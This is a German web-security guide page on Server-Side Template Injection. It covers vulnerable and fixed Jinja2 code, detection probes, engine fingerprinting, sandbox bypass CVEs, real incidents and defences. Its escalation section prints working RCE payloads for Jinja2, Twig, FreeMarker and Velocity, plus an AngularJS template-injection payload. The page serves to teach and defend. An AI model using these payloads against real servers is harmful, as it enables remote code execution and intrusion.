Klassisches XSS schmuggelt JavaScript in HTML-Output. Server-Side Template Injection (SSTI) geht eine Schicht tiefer: User-Input wird nicht in ein Template eingefügt (mit Encoding), sondern als Template selbst ausgewertet. Wer in einer Jinja2- oder Twig-Anwendung einen Template-Ausdruck unterbringt, kann auf interne Objekte zugreifen — und in vielen Fällen direkt Code im Server-Prozess ausführen. SSTI ist seit 2015 als eigenständige Klasse bekannt; reale Vorfälle reichen bis zu kritischen RCEs in Unternehmens-Apps.

Was SSTI ist — und was nicht

Template-Engines wie Jinja2, ERB, Twig, Handlebars, Mustache, FreeMarker, Velocity haben eine Template-Sprache mit Syntax wie {{ variable }} oder <%= variable %>. Normalerweise:

  • Template wird vom Entwickler geschrieben (vertraut).
  • Daten kommen vom Nutzer (untrusted).
  • Template-Engine fügt die Daten als Werte ein, optional mit Encoding.

Sicheres Muster:

Python safe-template.py
from jinja2 import Template

# Template ist statisch — vom Entwickler geschrieben
template = Template("Hallo, {{ name }}!")
# Daten kommen von Nutzer-Input
result = template.render(name=request.form['name'])
# Wenn name "{{ 7*7 }}" ist, wird es als TEXT ausgegeben — kein Code
# Ergebnis: "Hallo, {{ 7*7 }}!"

SSTI passiert, wenn diese Trennung verletzt wird:

Python ssti-vulnerable.py
# Schadhaft: User-Input wird als Template-Code ausgewertet
template_str = f"Hallo, {request.form['name']}!"
template = Template(template_str)
result = template.render()

# Wenn name "{{ 7*7 }}" ist, wertet Jinja den Ausdruck aus
# Ergebnis: "Hallo, 49!"

Sobald der/die Angreifer:in {{ 7*7 }} sieht, weiß sie: es ist Jinja, und sie kann Template-Ausdrücke ausführen. Von dort ist es oft ein kurzer Weg zur RCE.

Wichtiger Unterschied zu XSS:

XSS läuft im Browser der Nutzer:in. SSTI läuft auf dem Server. Die Wirkung reicht potenziell bis zu Remote Code Execution im Server-Prozess — mit Zugriff auf Dateisystem, interne Services, Cloud-Credentials.

Wo SSTI typisch entsteht

SSTI passiert, wenn User-Input in die Template-Definition fließt, statt nur in die Daten:

  • Mail-Templates aus User-Input — Marketing-Tool, das Nutzer:innen erlaubt, eigene Templates anzulegen.
  • CMS-Workflows — Editor erlaubt Template-Syntax in Inhalts-Feldern.
  • Error-Pages mit reflektiertem Inhalt — f"Error: &#123;user_error_msg&#125;" als Template gerendert.
  • Konfigurations-Files aus User-Datenbank — wenn Konfig per Template evaluiert wird.
  • Slack-/Discord-Bots mit Template-Variablen im Antwort-Pfad.
  • Workflow-Engines (ServiceNow, Atlassian, Jenkins-Pipelines) — wenn Pipeline-Definitionen User-editierbar sind.
  • PDF-Generatoren mit User-konfigurierbaren Templates.
  • Reporting-Tools mit User-definierten Formeln.

Eine typische Stelle: „Personalisierte Begrüßung" oder „Custom Email"-Feature, wo Nutzer:innen Templates schreiben dürfen. Wenn die Template-Engine ohne Sandbox läuft, ist SSTI quasi garantiert.

Detection: SSTI in 60 Sekunden finden

Drei klassische Detection-Payloads:

Math-Test: {{ 7*7 }} → ergibt 49 bei Jinja2/Twig/Handlebars (in evaluate-Modus).

ERB-Test: <%= 7*7 %> → ergibt 49 bei Ruby ERB.

Velocity-/FreeMarker-Test: ${7*7} → ergibt 49.

Wenn eine dieser Eingaben 49 statt der Eingabe selbst zurückgibt, ist SSTI bestätigt. Welcher Engine? — der nächste Schritt ist Fingerprinting:

PayloadEngineCharakteristisch
{{ 7*7 }} → 49Jinja2, Twig, Django-Templates, LiquidVerbreitet in Python/PHP
<%= 7*7 %> → 49ERB, EJSRuby, Node.js
${7*7} → 49Velocity, FreeMarker, Spring-ELJava
{{7*7}} → 49, dann {{ self.__init__.__globals__ }} → tiefer ZugriffJinja2 spezifischPython
{{ config.items() }} → Config-DictionaryFlask + Jinja2Python-Flask
${product.__class__} → Java-Klassen-PfadFreeMarkerJava

Sobald der Engine bekannt ist, folgt Eskalation zu RCE durch engine-spezifische Patterns.

Eskalations-Pfade pro Engine

Jinja2 (Python).

Jinja2 hat zwei Modi: Sandbox-Modus (sicherer) und Normal-Modus (RCE möglich). Klassische Eskalation:

Python jinja2-rce-payload.py
# Eskalation: Zugriff auf Python-Globale über Object-Inheritance
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Listet alle geladenen Python-Klassen

# RCE via subprocess
{{ ''.__class__.__mro__[1].__subclasses__()[200].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()') }}

Exakte Indizes sind Python-Version-spezifisch; Angreifer:innen probieren systematisch durch.

Twig (PHP).

Twig hat ähnliche Eskalations-Pfade über Filter-Aufrufe:

Twig twig-rce-payload.twig
{{ ['id'] | filter('system') }}
# Ruft system('id') auf — RCE

{{ 'system'(' id') }}
# Alternative Syntax (engine-version-abhängig)

Smarty (PHP).

Smarty 3+ hat Sandbox-Modus per Default. Aber: &#123;php&#125;-Tag (deprecated, aber in alten Versionen vorhanden) erlaubt direktes PHP-Code-Embedding.

FreeMarker (Java).

FreeMarker freemarker-rce-payload.ftl
<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}
# Java-Runtime-Exec

Velocity (Java).

Velocity velocity-rce-payload.vm
#set($x="")
$x.class.forName("java.lang.Runtime").getRuntime().exec("id")

Handlebars (JavaScript).

Handlebars hat keinen direkten Code-Eval — aber {{#with}}-Helper plus Konstruktor-Tricks können in alten Versionen zu RCE führen.

Die meisten Engines haben CVE-Wellen durchgemacht. Bug-Bounty-Reports auf HackerOne mit Filter „SSTI" zeigen viele konkrete Eskalations-Pfade.

Sandbox-Modus: hilft, ist aber kein Allheilmittel

Mehrere Engines bieten Sandbox-Modi, die gefährliche Operationen einschränken:

Jinja2 SandboxedEnvironment:

Python jinja2-sandbox.py
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string(user_template)
result = template.render(data=...)
# Manche RCE-Pfade sind blockiert (Inheritance-Tricks, dangerous attrs)

Aber: Sandbox-Escapes sind möglich und werden regelmäßig publiziert. Beispiele:

  • Jinja2 Sandbox Bypass via String-Methoden (CVE-2016-10745, CVE-2019-10906).
  • Twig Sandbox Bypass via Filter-Verkettung (mehrere CVEs).
  • Spring SpEL Sandbox Bypass (CVE-2022-22963, CVE-2022-22965 = Spring4Shell, weitere).

Konsequenz: Sandbox ist eine Verteidigungs-Schicht, nicht eine vollständige Lösung. Die richtige Antwort ist keine User-Input-Templates, nicht „besseres Sandboxing".

Die richtige Lösung: Trennung von Template und Daten

Templates sollten immer vom Entwickler geschrieben werden — nie vom Nutzer. Daten sollten nur als Variablen in das Template gelangen, nie als Template-Code.

Schadhaft:

Python ssti-bad.py
# User-Input wird Teil der Template-Definition
body = user_email_template  # vom Nutzer
template = Template(body)  # SSTI möglich
result = template.render(user=user)

Sicher:

Python ssti-fixed.py
# Template ist vom Entwickler — User-Input nur als Variable
body_template = """
Hallo, {{ name }}!

{{ message }}
"""
template = Template(body_template)
result = template.render(
    name=user.name,
    message=user_provided_text  # als Daten, nicht als Template
)

Wenn User-Templates wirklich nötig sind:

  • Eigene, minimale Template-Sprache bauen — nur Variablen-Substitution, kein Code-Eval. Beispiel: format-Strings in Python ("Hallo, &#123;name&#125;!".format(name=user_name)) ohne f-String-Eval-Eigenschaften.
  • Strict-Allowlist der erlaubten Template-Features (z. B. nur Variablen und if/else, keine Funktions-Aufrufe).
  • Sandbox-Engine mit zusätzlicher Code-Review.
  • Isolierter Prozess für Template-Rendering — Ergebnis als String, kein Zugriff auf Hauptprozess.

Wenn User-Inhalt sicher gerendert werden soll:

  • Markdown-Renderer mit Sanitization (siehe html-sanitization).
  • BBCode oder eigene begrenzte Markup-Sprachen.
  • Strukturierte Editoren (TipTap, ProseMirror) statt Roh-Template-Eingabe.

Verwandte Klassen: Client-Side Template Injection (CSTI)

Manche Client-Side-Frameworks (älteres AngularJS) hatten ähnliche Probleme im Browser. AngularJS 1.x evaluiert {{ ... }}-Ausdrücke client-seitig — wenn User-Input ungesäubert in ein gerendertes Template fließt, kann Angular-Sandbox-Bypass zu DOM-XSS führen.

AngularJS-Beispiel (deprecated, nur historisch):

HTML angularjs-csti.html
<!-- Schadhaft mit AngularJS 1.x -->
<div ng-app>
  User: {{ userInput }}
</div>

<!-- userInput = "{{ constructor.constructor('alert(1)')() }}"
     eskaliert zu Code-Execution -->

AngularJS hatte mehrere Sandbox-Modi, die alle umgehbar waren. Die Lösung war: AngularJS auf Angular 2+ migrieren, das diese Klasse strukturell nicht mehr hat.

In modernen Frameworks (React, Vue, Angular 2+, Svelte) ist CSTI selten — die Template-Engines kompilieren strikt, User-Input wird per Default als Daten behandelt. Aber: dangerouslySetInnerHTML und Äquivalente können in seltenen Fällen CSTI-ähnliche Effekte haben, wenn Markdown/HTML-Renderer User-Eingaben als Template behandeln.

Reale SSTI-Vorfälle

Uber RCE 2016 — Spring-EL-SSTI in einer internen Microservice-API, Bug-Bounty-Auszahlung im fünfstelligen Bereich.

Confluence (Atlassian) — mehrere SSTI-CVEs in OGNL-Expression-Verarbeitung (z. B. CVE-2022-26134), die zu RCE führten und massiv ausgenutzt wurden.

Apache Struts2 — wiederholte OGNL-Injection-CVEs, darunter CVE-2017-5638 (genutzt für den Equifax-Datenleck mit 147 Millionen betroffenen Datensätzen).

Spring4Shell (CVE-2022-22965) — Spring-Framework, durch ClassLoader-Manipulation via Property-Binding zu RCE; eine Art SSTI-nahe Klasse.

Bug-Bounty-Reports auf HackerOne und Bugcrowd zeigen regelmäßig SSTI-Funde bei großen Anbietern — meist in Custom-Mail-Templates, in Workflow-Engines oder in Self-Service-Konfigurations-Tools.

SSTI ist eine High-Severity-Klasse: bei Erfolg meist RCE, mit allen Folgen — Datenleck, Lateral Movement, Persistenz im Server.

Besonderheiten

James Kettle hat SSTI 2015 systematisch erforscht

Die Veröffentlichung „Server-Side Template Injection" (2015, PortSwigger Research) hat die Klasse als eigenständig etabliert. Davor wurden solche Bugs als „Eval Injection" oder ähnlich kategorisiert. Kettle hat eine systematische Detection-Methodik dokumentiert.

Tplmap als spezialisiertes Tool

Tplmap ist ein Open-Source-Tool zur SSTI-Detection und -Exploitation. Funktioniert ähnlich wie sqlmap für SQL-Injection — testet automatisch verschiedene Engines, eskaliert zu RCE wo möglich. Bug-Bounty-Hunter:innen nutzen es regelmäßig.

Sandboxes sind kein Endziel

Die meisten Template-Engines haben Sandbox-Modi — und die meisten Sandboxes haben dokumentierte Bypasses. Wer eine User-Input-Template-Funktion baut, sollte nicht auf „besseres Sandboxing" vertrauen. Die strukturelle Antwort ist Trennung von Template und Daten, nicht Sandbox-Polish.

OGNL ist eine eigene SSTI-Welle

Object-Graph Navigation Language (OGNL) in Apache Struts hat über die Jahre eigene CVE-Welle erzeugt — Struts2-OGNL-Injection ist die häufigste Java-Web-RCE-Klasse. Ähnlich: Spring SpEL (Spring Expression Language) hat mehrere CVEs. Wer Java/Web baut, sollte die OGNL/SpEL-Geschichte kennen.

Confluence- und Jira-Wellen 2022/23

Atlassian-Produkte (Confluence, Jira) hatten 2022–2023 mehrere OGNL-Injection-CVEs, die zu RCE führten — CVE-2022-26134 (Confluence), CVE-2022-1471 (SnakeYAML), CVE-2023-22515 (Confluence) und weitere. Klassische SSTI-Klasse mit großer Reichweite, weil Confluence in Tausenden Unternehmen läuft.

Mail-Template-Editoren als Risiko-Klasse

Mailchimp-ähnliche Funktionen — „Schreibe dein eigenes Mail-Template mit Variablen" — sind klassische SSTI-Stellen. Wenn der Anbieter Jinja2 / Twig / Handlebars im normalen Modus nutzt, ist SSTI quasi garantiert. Lösung: minimale eigene Variablen-Substitution statt vollwertige Template-Engine.

Cloud-Function-Templates und Infrastructure-as-Code

Manche IaC-Tools (Terraform, CloudFormation, Ansible) erlauben Template-Syntax in Konfigurationen. Wenn User-Input darin landet (Self-Service-Portale), kann das SSTI-ähnliche Effekte haben — manchmal mit Folge bis zu Cloud-Resource-Manipulation.

Weiterführende Ressourcen

Externe Quellen

/ Weiter

Zurück zu XSS & Content Injection

Zur Übersicht